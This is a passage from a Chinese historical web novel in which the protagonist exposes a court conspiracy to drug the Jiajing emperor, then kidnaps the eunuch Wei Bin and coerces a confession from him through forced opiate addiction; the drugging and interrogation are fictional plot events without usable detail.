“清心丹”静静地躺在锦囊中,好比蛰伏的毒蛇,等待着致命一击的机会。
然而,苏惟瑾深知,仅凭自己这几个人,想突破宫禁森严的壁垒,在邵元节和郭勋的眼皮子底下玩一出“偷梁换柱”,无异于痴人说梦。
他需要一股外力,一股足够强大、足够引起对手警惕,又能被他巧妙利用的力量。
他的目光,投向了那座象征着天子耳目、令百官闻之色变的北镇抚司——锦衣卫。
而执掌锦衣卫的,正是那位与嘉靖帝关系特殊、心思难测的陆炳。
直接找上门?
那是自投罗网。
陆炳是皇帝潜邸旧人,忠诚毋庸置疑,
但他同样也是一位精于权术、立场复杂的特务头子。
苏惟瑾无法判断,在皇帝可能已被丹药影响心智的情况下,陆炳会作何选择,是否会打草惊蛇。
必须借力,还必须借得巧妙,不露痕迹。
超频大脑飞速运转,筛选着手中所有可用的资源和信息渠道。
芸娘的关系网络虽然隐秘,但直接动用风险太高,容易留下指向自己的线索。
彭友信的漕帮路子,江湖气太重,难以取信于陆炳这等人物。
他的目光,最终落在了之前截获密信时,那个模糊的“火焰缠剑”标记上。
这个标记,对方用在密信末尾,必然有其特殊含义,或许是某个隐秘组织的符号,或许是郭勋核心圈子的信物。
一个计划在他脑中逐渐清晰
——投石问路,打草惊蛇!
让陆炳自己去查,去警觉!
而自己,只需做那个在暗处投下石子的人。
他需要找一个绝对可靠、且与各方势力都无直接瓜葛的“信使”。
最终,他选中了彭小蛟推荐的一个老成持重、嘴巴极严的老镖师。
此人常年走南闯北,三教九流都接触过,懂得规矩,更重要的是,他欠着彭友信天大的人情,且家小都在漕帮势力范围内,不怕他反水。
是夜,南城一间不起眼的小酒馆后院。
苏惟瑾化身一位戴着斗笠、声音沙哑的“神秘客”,见到了这位姓赵的老镖师。
“赵师傅,劳驾跑一趟腿,送件东西。”
苏惟瑾将一个用火漆封得严严实实、没有任何标识的普通木盒推过去。
赵老镖师看也没看那盒子,只沉声道:
“规矩俺懂,送到哪?给谁?”
“明日午时,北镇抚司衙门外斜对面的‘张记茶楼’,二楼雅座‘听风阁’。
你只需将这盒子交给店小二,
说是‘故人相赠,务必亲手交予陆大人’,
然后放下便走,不得停留,不得多言。”
苏惟瑾语气平淡,却带着不容置疑的力量。
“此事若成,彭爷那里,自有厚报。若出了纰漏……”
赵老镖师神色一凛,抱拳道:
“阁下放心,老赵行走江湖三十年,
别的本事没有,这送东西的嘴巴和腿脚,还是靠得住的。”
苏惟瑾点点头,不再多言,身影很快消失在夜色中。
那木盒里,没有书信,只有一张薄薄的绢布,
上面用左手歪歪扭扭地画着那个“火焰缠剑”的标记,
旁边只有两行同样用左手书写的、没头没尾的话:
“宫宴非吉,暗流汹涌。”
“勋贵之中,有人通外鬼,欲行大逆。”
没有署名,没有指向,信息真伪混杂,点到即止。
既点明了“宫宴”这个关键节点和危险信号,又暗示了勋贵集团内部有问题,
还模糊地指向了“外鬼”(既可指黑巫师集团,也可指葡萄牙人)。
至于“魏公”、郭勋,只字未提。
剩下的,就让陆炳自己去联想,去调查。
这就如同在平静的湖面投下一颗石子,涟漪会自行扩散。
以陆炳的多疑和锦衣卫的能量,只要起了疑心,顺藤摸瓜,不难发现一些蛛丝马迹。
而郭勋那边,一旦察觉到锦衣卫的暗中调查,必然也会有所动作,这一动,便可能露出更多破绽。
翌日午时,赵老镖师依计而行,将木盒送到“张记茶楼”,留下那句暗语,便如同寻常茶客般离开,没有引起任何注意。
一个时辰后,那个看似普通的木盒,已经摆在了北镇抚司衙门深处、陆炳的书案上。
陆炳拿起那张绢布,看着上面拙劣的图画和字迹,眉头紧紧锁起。
他面容冷峻,一双鹰目开合间精光四射,久居上位养成的威势令人不敢直视。
“宫宴……勋贵通外鬼……大逆……”
他低声重复着这几个词,手指无意识地敲击着桌面。
身为天子最信任的鹰犬,他对朝中暗流岂能毫无察觉?
陛下近年来沉迷炼丹,性情愈发难以捉摸,邵元节等方士地位水涨船高,
连带着与邵元节过往甚密的武定侯郭勋,也似乎更加活跃了。
这没头没脑的警告,看似荒诞,却像一根针,精准地刺中了他心底某些隐隐的不安。
送信之人显然不想暴露身份,但其透露的信息,却又带着一种笃定。
“查!”
陆炳沉默片刻,冷冷吐出一个字。
阴影中,一个如同鬼魅般的身影
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微微躬身,领命而去。
“去查查,最近京城有什么生面孔,特别是和江湖、漕运有关的人。
还有,暗中留意一下郭侯爷府上,
以及邵**那边的动静,小心点,别让人察觉。”
陆炳补充道,眼神锐利如刀。
他倒要看看,是谁在故弄玄虚,这“宫宴”背后,又藏着怎样的风波!
几乎就在陆炳下令调查的同时,武定侯府邸,一间密室内。
郭勋也得到了消息——有不明身份的人,给陆炳送了一份神秘的“礼物”。
他身材高大,虽已年过四旬,但常年习武,依旧显得魁梧雄壮,只是眼袋浮肿,眼神深处带着一丝挥之不去的阴鸷。
“废物!连谁送的东西都查不出来?”
郭勋冷哼一声,语气不满。
他面前躬身站着的,正是那个曾在烂泥渡与杜瞎子接头的黑衣人首领。
“侯爷息怒,对方手脚很干净,用的是江湖上最常见的路子,查不到源头。
但陆炳那边,似乎已经动起来了。”
黑衣人低声道。
郭勋眼中闪过一丝烦躁:
“陆文孚(陆炳字)这条皇帝的忠犬,鼻子灵得很!
‘宫宴’在即,在这个节骨眼上,绝不能出任何岔子!
告诉下面的人,都给我收敛点!
还有,给邵**递个话,让他把陛下那边稳住,丹药不能停,剂量……可以再稍微加重一丝,务必让陛下在‘宫宴’时,龙颜大悦!”
他顿了顿,眼中狠厉之色一闪而过:
“再去查!就算把京城翻个底朝天,也要把那只躲在暗处搞鬼的老鼠给我揪出来!”
一时间,原本就暗流涌动的京城,因为苏惟瑾这精准投下的“石子”,变得更加波谲云诡。
陆炳的锦衣卫如同被惊动的猎犬,开始暗中逡巡;
而郭勋**,则如同被踩了尾巴的毒蛇,一边收缩盘踞,一边吐着信子,寻找着那胆大包天的挑衅者。
藏身于南城陋室的苏惟瑾,通过胡三那些无孔不入的“小友”们,隐约感知到了这微妙的变化。
他知道,鱼儿已经惊动了。
接下来,就是要在这浑水中,找到那条最大的鱼,并准备好足够锋利的鱼叉!
投石问路,成功惊动陆炳与郭勋!陆炳的暗中调查会否打草惊蛇?
郭勋命令加重丹药剂量,嘉靖帝的身体能否承受?
苏惟瑾这招“驱虎吞狼”之计,是能引开对手注意力,为自己创造机会,还是会引发不可控的连锁反应,让局势更加凶险?
暗处的博弈,已趋白热化!
第346章 胡同暗影动,魏公露真容
夜深得能拧出墨来。
南城这片大杂院,到了这个时辰,连狗都懒得叫唤。
胡三猫在柴房那扇破窗后头,眯着眼,嘴唇微微翕动,像是在跟谁唠嗑。
仔细瞧,他面前蹲着只灰不溜秋的夜枭,那鸟眼珠子在黑暗里泛着幽绿的光,跟两粒鬼火似的。
“去,瞧瞧邵老道那宅子后墙的槐树。”
胡三压着嗓子,手指头虚点了点西北方向。
那夜枭歪了歪脑袋,翅膀一振,悄没声儿地融进了夜色里。
胡三闭上眼,嘴里念念有词
——旁人看来是神神叨叨,只有苏惟瑾知道,这是胡家祖传的“兽语术”,靠着特定频率的哼鸣和手势,能跟这些扁**畜生、四条腿的家伙建立点说不清道不明的联系。
约莫一炷香后,柴房门被轻轻推开。
苏惟瑾闪身进来,手里端着盏豆油灯,火苗被他手掌拢着,只漏出些微光,恰好照亮他半边清俊的脸。
“三爷,有动静?”
胡三没睁眼,只是眉头拧成了疙瘩,耳朵微微动着。
又过了半晌,他才缓缓吐出口气,睁开眼时,眼神里透着股子兴奋和凝重:
“公子,瞧见了,也听着了。
邵元节那京郊的别院里,今晚有客。”
苏惟瑾把灯放在墙角矮凳上,拉过个破麻袋坐下:“仔细说。”
“那客是个老太监。”
胡三舔了舔嘴唇,声音压得更低。
“面白无须,穿着靛蓝锦缎的常服,坐在邵元节书房的上首。
邵老道躬着身子回话,恭敬得跟孙子似的。
我让夜枭停在槐树枝上,透过窗缝,瞧得真真儿的。”
“说了什么?”
“那老太监问:‘加大药量?苏惟瑾那小子至今下落不明,若他潜伏在侧……’”
胡三模仿着那尖细阴柔的嗓音,学得惟妙惟肖,听得人脊背发凉。
“邵元节赶紧回话,说:‘公公放心,咱家在金丹里掺的**膏已增至三成,陛下如今一日不服便涕泪横流,龙体愈发依仗。
即便苏惟瑾回京,也无力回天!’”
苏惟瑾眼神骤然一冷。
**膏增至三成!
嘉靖帝的身体,怕是真的被这毒丹掏空了!
他拳头无意识攥紧,指甲掐进掌心。
胡三从怀里摸出半片皱巴巴的纸屑,递过去:
“夜枭飞回来时,顺爪从窗台边捎带回来的,估摸是被风吹出去的。”
苏惟瑾接过纸屑,凑到灯下细看。
纸是上好的宣纸边角,上头用蝇头小楷写着几行字,已被撕扯得残缺不全,只能辨认出“斋醮”、“魏公亲启”、“初九子时”、“老地方”等零星字样。
超频大脑瞬间启动。
视觉信息录入:字迹工整中带着一丝刻意的圆滑,转折处有特有的顿笔习惯。
听觉信息回溯:胡三模仿的那老太监嗓音,尖细中带着长期养尊处优的沙哑,与之前截获密信时推断的“年长内侍”特征高度吻合。
历史知识库调取:嘉靖元年,“大礼议”风波,司礼监几位秉笔太监因反对皇帝尊崇生父而失势,其中有一位姓魏的,名彬,被贬至浣衣局……
信息碎片如同被无形的手推动,在苏惟瑾脑中飞速碰撞、拼接、验证。
字迹比对——与截获的密信末尾落款笔迹,相似度超过八成!
声音特征——与宫中存档的少数几位老太监公开场合说话记录(苏惟瑾曾借阅过相关卷宗)比对,与魏彬的声纹特征匹配度最高!
行为逻辑——有能力在宫中安排邵元节接近皇帝,有动机借助丹药控制龙体以求东山再起,有渠道与郭勋这等勋贵勾连……
“啪。”
苏惟瑾将纸屑轻轻按在膝头,抬眼看胡三,嘴角勾起一丝冰冷的弧度。
“原来是他。”
声音平静,却让柴房里的温度骤降了几分。
胡三忙问:“谁?”
“司礼监前任秉笔太监,魏彬。”
苏惟瑾一字一顿。
“嘉靖元年因‘大礼议’站错了队,被陛下贬至浣衣局看管旧衣。
人人都道他这辈子完了,没想到……这条老狐狸竟躲在最腌臜的地方,织了这么大一张网。”
胡三倒吸一口凉气:
“魏彬?
俺听道上兄弟提过,这老阉货早年权势滔天,在宫里门生故旧不少。
浣衣局那地方,看似冷灶,实则进出宫禁的杂役、宫女、旧衣物事都要经手,消息最是灵通不过!”
“正是。”
苏惟瑾站起身,在狭小的柴房里踱了两步。
“浣衣局管着各宫换洗的衣物被褥,哪宫主子得了赏赐,哪宫用了不该用的药材,甚至哪张帕子上沾了不该沾的东西……都逃不过他们的眼睛。
魏彬在那里经营三年,怕是连陛下每日换几条汗巾子都清楚。”
他顿了顿,眼中闪过锐利的光:
“邵元节能准确掌握陛下身体状况,适时调整丹药配方和剂量;
郭勋能知道宫里哪些关节可以打通,哪些人可以用银子收买——背后若没有这样一双藏在深宫暗处的眼睛,绝无可能。”
胡三拳头砸在掌心:“好个老阴货!那咱们现在咋办?直接捅给陆炳?”
“不急。”
苏惟瑾摇头。
“陆炳是多疑,但他更信自己查出来的东西。
我们之前投石问路,他必然已起了疑心,此刻恐怕正暗中调查郭勋和邵元节。
魏彬藏得深,陆炳一时半会儿未必能摸到他。”
他走到窗边,望着外头沉沉的夜色,大脑继续高速运转。
“魏彬让邵元节加大药量,说明两件事:
第一,他急了。
我们之前的动作,还有陆炳的暗中调查,让他感到了威胁,想加快控制陛下的进程。
第二,‘宫宴’在即,他需要在那个节骨眼上,确保陛下完全在他们的掌控之中。”
胡三挠头:“那咱们的‘清心丹’……”
“正是时候。”
苏惟瑾转身,眼神坚定。
“魏彬想加速,我们就偏要给他踩一脚刹车。
‘清心丹’必须尽快送到陛下面前,而且,要送得巧,送得让魏彬和邵元节察觉不到异常。”
“可宫禁森严,咱们怎么送进去?
就算送进去了,陛下现在信邵元节信得跟什么似的,肯吃咱们的丹药?”
苏惟瑾笑了,那笑容里带着几分算计:
“谁说一定要我们亲自送?
又谁说,一定要陛下‘知道’他吃的是什么?”
胡三瞪大眼:“公子的意思是……”
“邵元节不是每日都要给陛下进献金丹吗?”
苏惟瑾慢条斯理道。
“他炼一次丹,总要有个过程吧?
丹炉、药材、火候……里头能做手脚的地方,多了去了。”
胡三恍然大悟,随即又皱起眉:
“可邵元节的丹房看管肯定严
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密,咱们的人混不进去啊。”
“混不进去,就让东西自己‘长腿’走进去。”
苏惟瑾指了指胡三。
“三爷,你那手驱役鸟兽的本事,该派上大用场了。
老鼠、麻雀、甚至蟑螂……只要是能钻进丹房的小东西,都成。”
胡三眼睛亮了:
“俺懂了!让这些小东西,把咱们的‘清心丹’混进他的药材堆里,或者直接掉进丹炉边上!
反正炼出来的丹丸样子都差不多,邵元节自己也分不清哪颗是哪颗!”
“不止。”
苏惟瑾补充。
“还要让它们,偶尔叼走一点邵元节炼好的‘毒丹’。
一来减少陛下服食的剂量,二来……咱们也需要更多的样本,看看这老道到底加了些什么歹毒玩意儿。”
“妙啊!”
胡三拍大腿。
“神不知鬼不觉!
等陛下吃了咱们的‘清心丹’,身体渐渐好转,对那毒丹的依赖减轻,邵元节和魏彬就该傻眼了!”
苏惟瑾却摇头:
“不能等‘渐渐’。我们没有那么多时间。
‘宫宴’就在眼前,魏彬选择在这个时候加大药量,必然有所图谋。
我们必须抢在‘宫宴’之前,让陛下有明显的改善。”
他走到墙角,从一堆杂物里翻出个小布包,层层打开,露出里面几十粒暗红色、与邵元节所献金丹几乎一模一样的药丸——正是他连日来反复试制改良的“清心丹”。
“三爷,从明晚开始,让你那些‘小友’们动起来。
第一批,先替换掉邵元节明日要进献的三成药量。
注意,要分散替换,不要集中在一炉里,以免被察觉异常。”
胡三郑重接过布包,掂了掂分量:
“公子放心,这事儿交给俺。
别的不说,让耗子搬个家、雀儿叼个食,那是它们的本行!”
两人又细细商议了半个时辰,直到油灯将尽,胡三才揣着药包,悄无声息地溜出柴房,消失在胡同的阴影里。
苏惟瑾独自站在窗前,望着东方天际泛起的鱼肚白。
魏彬……这条潜藏最深的老鱼,终于浮出水面了。
可他知道,这潭水底下,恐怕还不止这一条。
郭勋、邵元节,乃至朝中那些若隐若现的影子,都还在暗处游弋。
“快了。”
他轻声自语,手指无意识地摩挲着窗棂上粗糙的木纹。
“等陛下龙体好转,等‘宫宴’这场大戏开锣……该收网的,总要收网。”
只是不知,这网收起时,里头究竟会捞出多少条大鱼,又会掀起多大的风浪?
而他那几粒小小的“清心丹”,在这盘错综复杂的棋局里,究竟能发挥多少作用?
若是被魏彬或邵元节提前察觉,又当如何?
晨光渐亮,胡同里传来早起挑水人的脚步声,还有货郎隐约的叫卖。
这座京城,看似正在醒来,可暗地里的汹涌,却才刚刚开始。
---
苏惟瑾借鸟兽之手暗渡陈仓,“清心丹”即将混入嘉靖帝的丹药中。
然而邵元节炼丹时皆有道童看守,魏彬更可能暗中监视,这些小动作真能瞒天过海?
嘉靖帝服下“清心丹”后若出现异常反应,邵元节必会彻查丹房,苏惟瑾的计策是否会就此暴露?
而魏彬加紧布局“宫宴”,究竟在图谋什么?
这场暗战已到关键时刻,一步错,满盘皆输!
第347章 陋室缚狐计,瑾施控魂术
城西的胡同,天黑之后就跟换了副面孔似的。
白日里还能见着挑担卖菜的、摇铃铛的货郎,还有那些倚着门框嗑瓜子唠闲篇的婆娘。
可一入夜,家家户户早早关门落闩,连油灯都舍不得多点一会儿。
为啥?这片儿靠着城墙根,住的都是些苦力、小贩、还有那些见不得光的下九流,夜里头不太平。
福寿堂药铺就开在这片胡同深处,门脸不大,黑漆招牌上的金字都剥落得差不多了。
老板姓王,是个瘸子,据说早年给宫里当过采办,后来摔断了腿才出来开了这铺子。
铺子后头连着个小院,三间瓦房,平日里堆些药材,偶尔也留宿些“远房亲戚”。
街坊们都知道,这王瘸子每月逢三、六的日子,后院的灯总要亮到后半夜。
有那好事的扒墙头瞧过,说是瞧见有马车从角门进来,车上下来的人穿着体面,可都低着头,看不清脸。
问王瘸子,他只说是老主顾来抓药,旁的半个字不肯多说。
今儿个是六月十三,恰逢“六”。
亥时初刻,一辆青篷马车悄没声儿地拐进了胡同。
拉车的是匹老马,蹄子上包了厚布,踏在青石板上只有闷闷的声响。
车夫是个精瘦汉子,戴着斗笠,帽檐压得低低的。
马车到了福寿堂后巷的角门前,稳稳停下。
车帘掀起,先探出只干瘦的手,扶着车门。
接着,一个穿着靛蓝缎子常服的老者钻了出来——面皮白净如敷粉,下颌光溜溜的没半根胡须,正是魏彬。
他脚刚沾地,正要转身吩咐车夫什么,巷口突然传来一阵尖锐的猫叫!
“喵呜——!”
“嗷——!”
十几只野猫不知从哪儿窜了出来,**都炸着,眼睛在黑暗里绿幽幽的,疯了似的扑向那匹老马。
有挠马腿的,有跳起来抓马脖子的,还有直接往马脸上扑的。
那老马本就年纪大了,哪见过这阵仗?
当时就惊了,嘶鸣着扬起前蹄,车架子被带得哐当乱晃。
“哎哟!”车夫慌忙勒缰绳,可马已经受了惊,原地打转,车辕差点撞到墙上。
魏彬身边跟着的两个护卫也慌了神,一个去帮车夫控马,另一个护在魏彬身前,手按在刀柄上,警惕地瞪着那些发疯的野猫。
就在这一片混乱的当口——
两道黑影从墙头悄无声息地滑了下来。
左边那个身形矫健,落地跟猫儿似的没半点声响,正是苏惟奇。
他如鬼魅般贴近那控马的护卫身后,右手并掌如刀,照着护卫后颈某处精准一劈!
那护卫哼都没哼一声,软软瘫倒。
右边那个动作更快,几乎在苏惟奇动手的同时,已经闪到魏彬和另一名护卫之间。
月光恰从云缝里漏下一缕,照出那人半张脸——平凡得扔人堆里就找不着,可那双眼睛,却沉静得像深潭。
正是苏惟瑾。
“什……”护卫察觉到不对,刚张嘴要喊,苏惟瑾左手如电探出,一把捂住他的嘴。
右手同时扬起,一块浸得湿透的布巾精准地盖在他口鼻上。
那布巾上的味道很怪,有点甜,又有点刺鼻。
护卫只挣扎了两下,眼珠子往上一翻,身子就软了。
从野猫发难到两个护卫倒地,前后不过三息工夫。
魏彬这时才反应过来,老脸唰地白了,张嘴要喊,可苏惟瑾的动作比他快得多。
那块布巾在空中一抖,换个面,又捂在了魏彬脸上。
“呜……呜呜!”
魏彬拼命挣扎,可他一个老太监,力气哪比得过苏惟瑾?
那古怪的气味直往鼻子里钻,他只觉得脑子一晕,眼前发黑,接着就什么都不知道了。
苏惟瑾松开手,看着瘫倒在地的魏彬,心里默数:一、二、三。
三息倒地,这简易蒸馏提纯的**,效果比他预想的还要好。
巷子另一头传来几声有节奏的竹梆子响——那是彭友信派来接应的人到了。
苏惟奇迅速扒下两个护卫的外衣,苏惟瑾则和赶来的两个“脚夫”一起,将昏迷的魏彬塞进一个早已备好的大木箱里。
箱底铺了层石灰,又撒了些药材碎屑,盖上盖子后,就是一口普通的药材货箱。
苏惟瑾又摸出个小瓷瓶,往魏彬和两个护卫鼻子底下各抹了点药膏——这是他根据现代药理配的嗅盐变种,能让人昏迷后自然苏醒,却记不清昏迷前片刻的事。
“走。”苏惟瑾低声道。
两个脚夫抬起箱子,苏惟奇在前头探路,苏惟瑾殿后。
一行人穿胡同、过小巷,专拣那些黑灯瞎火的路走。
偶尔遇到巡夜的更夫,苏惟奇便提前打个手势,众人往阴影里一躲,等更夫敲着梆子走远了,再继续赶路。
约莫半个时辰后,箱子被抬进了南城大杂院那间密室。
说是密室,其实就是西厢房底下挖出的地窖,入口藏在柴火堆后头,里头不大,仅能容四五个人转身。
墙壁上抹了层桐油石灰,防潮防虫,角落里点着一盏长明油灯,火苗如豆,把几个人的影子拉得老长,在墙上晃晃悠悠的。
魏彬被铁链子锁在了地窖中央的木柱上。那链子是彭友信不知从哪儿弄来的,粗得很,锁头是老匠人打的鸳鸯锁,没钥匙神仙也打不开。
苏惟瑾搬了张破凳子,在魏彬对面坐下,静静等着。
又过了约莫一刻钟,魏彬眼皮动了动,缓缓睁开。
老太监先是迷茫地看了看四周,待看清自己处境,脸色变了变,但很快又镇定下来。
他试着挣了挣铁链,纹丝不动,便不再白费力气,而是抬起头,眯着眼打量坐在对面的苏惟瑾。
地窖里光线昏暗,魏彬看了好一会儿,才迟疑着开口,声音还是那股子尖细阴柔的调子,只是多了几分嘶哑:
“你……你是苏惟瑾?”
苏惟瑾没答话,只是看着他。
魏彬见他默认,反而笑了,那笑容里带着惯常的倨傲和轻蔑:
“苏大人,好手段啊。
咱家奉旨出宫办事,你也敢劫?
这可是诛九族的大罪!
识相的,赶紧把咱家放了,咱家念你年轻,或许还能在陛下面前替你美言几句,从轻发落。”
这话说得,俨然还是宫里那位呼风唤雨的魏公公。
苏惟瑾依旧不说话,只是从怀里摸出个布包,慢条斯理地打开。
布包里是一排琉璃管子——这年头琉璃贵重,但这几支管子做工粗糙,显然是找匠人赶制的。
管子里装着些淡黄色的液体,在油灯下泛着诡异的光。
魏彬看着那些管子,心里莫名一紧,但面上还是强撑着:
“怎么,苏大人这是要给咱家看病?
咱家身子骨好得很,不劳费心。”
苏惟瑾终于开口了,声音平静得很:
“魏公公误会了。晚辈近来钻研药理,偶得一剂‘逍遥散’,据说有安神定魄、忘却烦忧之效。
只是苦于无人试药,今日巧遇公公,想请公公品鉴品鉴。”
魏彬瞳孔一缩:“你敢!”
苏惟瑾不答,只朝旁边的苏惟奇点了点头。
苏惟奇上前,一把按住魏彬的肩膀。这汉子手劲大,魏彬吃痛,想要挣扎,可铁链锁着,又被苏惟奇死死摁住,哪能动弹?
他只能瞪着眼,看着苏惟瑾拿起一支琉璃管,管头上接着根细长的银针——那针是中空的。
“苏惟瑾!你放肆!
咱家是宫里的人!
是伺候过两朝皇帝的人!
你敢动咱家,陛下绝不会饶你!
满朝文武都不会饶你!”
魏彬尖声叫起来,那声音在地窖里回荡,刺耳得很。
苏惟瑾恍若未闻,左手握住魏彬被铁链锁着的手腕,拇指在他手臂内侧按了按,找到那处微微鼓起的血管。
右手则稳稳拿起针管,
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针尖在油灯火苗上迅速掠过,算是简易消毒。
“这‘逍遥散’的方子,还是从公公您那儿得的灵感呢。”
苏惟瑾一边说,一边将针尖缓缓刺入魏彬的血管。
“您让邵元节在金丹里加**膏,控制陛下龙体,这手段确实高明。
只是**膏杂质太多,效用不稳。
晚辈不才,用酸碱萃取之法提纯了些精华,药效……该是强上十倍不止。”
魏彬的脸色彻底白了。
他感觉到冰凉的液体顺着针管流进自己身体,想挣扎,可苏惟奇的手像铁钳一样箍着他。
他想骂,可喉咙里像是堵了团棉花,什么声音都发不出来。
针管里的液体不多,很快就推完了。
苏惟瑾拔出针,用一块干净布巾按住针眼,动作娴熟得像个老郎中。
“魏公公放心,这是头一剂,量小。”
苏惟瑾收起针管,重新坐回凳子上,好整以暇地看着他。
“不过往后每隔十二个时辰,就得补一剂。
否则……药瘾发作的滋味,想必公公比晚辈清楚。
陛下那儿,您不是常让邵元节加量吗?”
魏彬浑身都在抖,不知是气的还是怕的。
他死死盯着苏惟瑾,那眼神像是要把他生吞活剥:“你……你到底想怎样?”
“简单。”
苏惟瑾笑了笑,
“从今儿起,公公还是照常回宫,照常跟邵元节、郭勋他们联络。
只是他们说什么、做什么,公公得一字不落地告诉我。
宫里头有什么动静,陛下身子如何,丹药进献的时辰、分量……我也得知道。”
魏彬咬牙:“你要咱家做你的眼线?做梦!”
“不是眼线。”
苏惟瑾摇头,语气依旧平静,
“是合作。公公帮我盯着那些人,我保公公……药瘾不发,性命无忧。
等事了之后,或许还能给公公寻个安生养老的去处,总比在浣衣局发霉强,您说是不是?”
魏彬不说话了,只是喘着粗气。
苏惟瑾也不催他,就这么等着。
地窖里安静得可怕,只有油灯偶尔爆出灯花的噼啪声。
良久,魏彬终于开口,声音干涩得像砂纸磨过:“你……你那药,真能控制?”
“公公不是已经试过了吗?”
苏惟瑾反问,
“方才推药时,公公可觉得有一股暖流顺着胳膊往上走?
接着是脑子有点儿晕,心里却莫名松快,好像什么烦心事都不算事了?”
魏彬脸色更难看了——苏惟瑾说的,全中。
“这就是了。”
苏惟瑾站起身,
“这药的好处是快活,坏处是离不得。
离了它,先是心烦气躁,接着是骨头缝里像有蚂蚁在爬,再往后……生不如死。
公公是聪明人,该怎么选,想必不用晚辈多说。”
他走到地窖入口,回头又补了句:
“明日此时,晚辈会让人送第二剂药到福寿堂后门第三个砖缝里。
公公按时来取,咱们就相安无事。若是公公有什么别的念头……”
苏惟瑾没说完,只是笑了笑,那笑容让魏彬打了个寒颤。
木梯吱呀响了几声,苏惟瑾上去了。
地窖里只剩下魏彬一个人,被铁链锁着,对着那盏晃悠悠的油灯。
他低下头,看着手臂上那个小小的针眼。
一股莫名的渴求,正从那里悄悄蔓延开来。
---
魏彬被**精华控制,成了苏惟瑾手中的提线木偶。
可这老狐狸在宫中经营多年,真会甘心受制?
他会不会表面顺从,暗中却向郭勋或邵元节传递消息?
那每隔十二时辰必须注射的药瘾,是控制他的枷锁,却也成了定时**——万一送药环节出纰漏,魏彬毒瘾发作在宫中,必将掀起滔天巨浪!
苏惟瑾这步险棋,究竟是控住了老狐,还是埋下了更大的祸根?
第348章 毒剂摧心志,魏公吐真言
地窖里的油灯,火苗又矮下去一截。
魏彬靠在柱子上,额头上全是汗,那身靛蓝缎子常服的前襟湿了一片,分不清是汗还是别的什么。
他眼睛直勾勾盯着苏惟瑾刚才坐的那张破凳子,喉咙里发出“嗬嗬”的怪响,像是老风箱漏了气。
苏惟瑾没走远,就站在地窖入口的木梯旁,背对着光,看不清表情。
苏惟奇和胡三一左一右守着,两人都没说话,只是盯着魏彬。
半刻钟前,魏彬还勉强撑着那股子宫里大珰的架子,哪怕被铁链锁着,眼神里也还带着居高临下的轻蔑。
可现在……
“呃……嗬……”魏彬猛地一挣,铁链哗啦一声响,他整个人往前扑,要不是链子拴着,怕是要跪倒在地。
他抬起头,眼睛赤红,鼻涕眼泪糊了一脸,哪还有半点司礼监秉笔的体面?
“给……给咱家……”声音嘶哑得像是用砂纸磨过,“再……再来一剂……就一剂!”
苏惟瑾这才慢慢转过身,走下木梯,重新在那张破凳子上坐下。
他从怀里又摸出支琉璃管,管子里淡黄色的液体在油灯下晃着诱人的光。
魏彬的眼珠子就跟着那管子转,喉咙里吞咽口水的声儿大得吓人。
“魏公公,”苏惟瑾把玩着那支管子,语气平淡得像在唠家常,“晚辈刚才问了几个问题,公公似乎还没回答。”
“答!咱家都答!”魏彬急得又要往前扑,链子扯得他一个踉跄,“你问!随便问!只要……只要给咱家……”
苏惟瑾抬眼看他:“第一个问题:幕后主使是谁?”
除了你与邵元节,朝中还有谁参与?
魏彬几乎不假思索,语速快得像竹筒倒豆子:“是杨廷和!”
还有他儿子杨慎!
杨慎被贬到云南后没闲着,跟当地土司勾搭上了,得了大片的**种植地,每年秘密运到京城的**膏,少说也有几百斤!
杨廷和虽然致仕回了老家,可他在朝中的门生故旧多了去了,暗中联络的旧部名单……咱家回头写给你!
还有永寿宫那位张太后,她跟杨廷和早有勾结,早就看陛下不顺眼了!
地窖里静了一瞬。
胡三倒吸了口凉气,苏惟奇握刀的手紧了紧。
苏惟瑾脸上没什么表情,可心里却是一沉。
杨廷和!
嘉靖朝初年权倾朝野的首辅,在“大礼议”中与皇帝激烈对抗,最终致仕还乡。
他的儿子杨慎,更是名满天下的才子,因“大礼议”被贬云南永昌卫——这事满朝皆知。
可谁能想到,这对看似已经退出**舞台的父子,竟然在云南那片瘴疠之地,布下了这么大一个局?
用**控制皇帝,勾结张太后,欲行废立……
这手笔,这耐心,这狠辣。
苏惟瑾定了定神,继续问:“第二个问题:‘宫宴’究竟指什么?”
魏彬这会儿已经顾不上什么保密不保密了,他满脑子都是那管子里的黄水儿:“不是宫宴!”
是‘冬至斋醮大典’!
就在三日后!
陛下每年冬至都要亲自去朝天宫主持斋醮,祈求国泰民安。
邵元节计划在那日进献的金丹里,掺入双倍……不,是三倍的**膏!
只要陛下服下,在斋醮大典上当众失态,杨廷和的旧部就会立刻发难,以‘天子失德、神灵不佑’为由,联名上奏,请张太后出面……废帝另立!
苏惟瑾眼神骤然锐利。
三日!
超频大脑瞬间启动,时间轴在意识中急速展开:今天十三,冬至是十六。
还有三天时间布置反制,来得及,但必须争分夺秒!
他稳住语气,问出最关键的问题:“详细计划?”
参与人员的名单?
你们平时如何联络?
魏彬像是抓住了救命稻草,语速更快了:“计划分三步!”
第一步,邵元节在斋醮前夜将加料的金丹进献给陛下,确保陛下次日精神恍惚;
第二步,斋醮进行到‘焚表告天’环节时,陛下需亲自诵读祭文,那时药效最猛,陛下必会失态;
第三步,早就安排好的御史会当场发难,兵部尚书廖纪、左都御史聂贤,还有礼部右侍郎桂萼——这些人都是杨廷和的旧部,他们一开口,其他朝臣必然附和!
他喘了口气,眼巴巴看着苏惟瑾手里的管子:“联络……杨廷和在京中有三处秘密据点,一处在前门外打磨厂胡同的‘德盛行’绸缎庄,掌柜姓孙,是他远房侄孙;”
一处在鼓楼西大街的‘醉仙楼’,老板是他旧部家奴;
还有一处在积水潭边的宅子,表面是个告老翰林的别业,实则是他们聚会议事的地方!
联络信物……是半块羊脂玉佩,刻着螭虎纹,咱家这儿就有一半,邵元节那儿有另一半,合得上才认人!
胡三已经拿出纸笔,就着油灯昏暗的光,飞快地记录着。
苏惟奇则死死盯着魏彬,生怕这老太监耍花样。
苏惟瑾又问:“黑巫师呢?”
广州那些事,跟杨廷和有什么关系?
“有!当然有!”魏彬忙不迭点头,“杨慎在云南,跟缅甸那边的土司往来密切,那些黑巫术的玩意儿,就是从那边传过来的!”
他们在广州设点,一是为了从海路转运**膏,二是想借黑巫术控制沿海的官员、商人,为日后……日后的大事铺路!
对了,郭勋!
武定侯郭勋,他跟杨廷和早有勾结,京营里好些将领都被他拉拢了,就等时机一到……
信息如潮水般涌来。
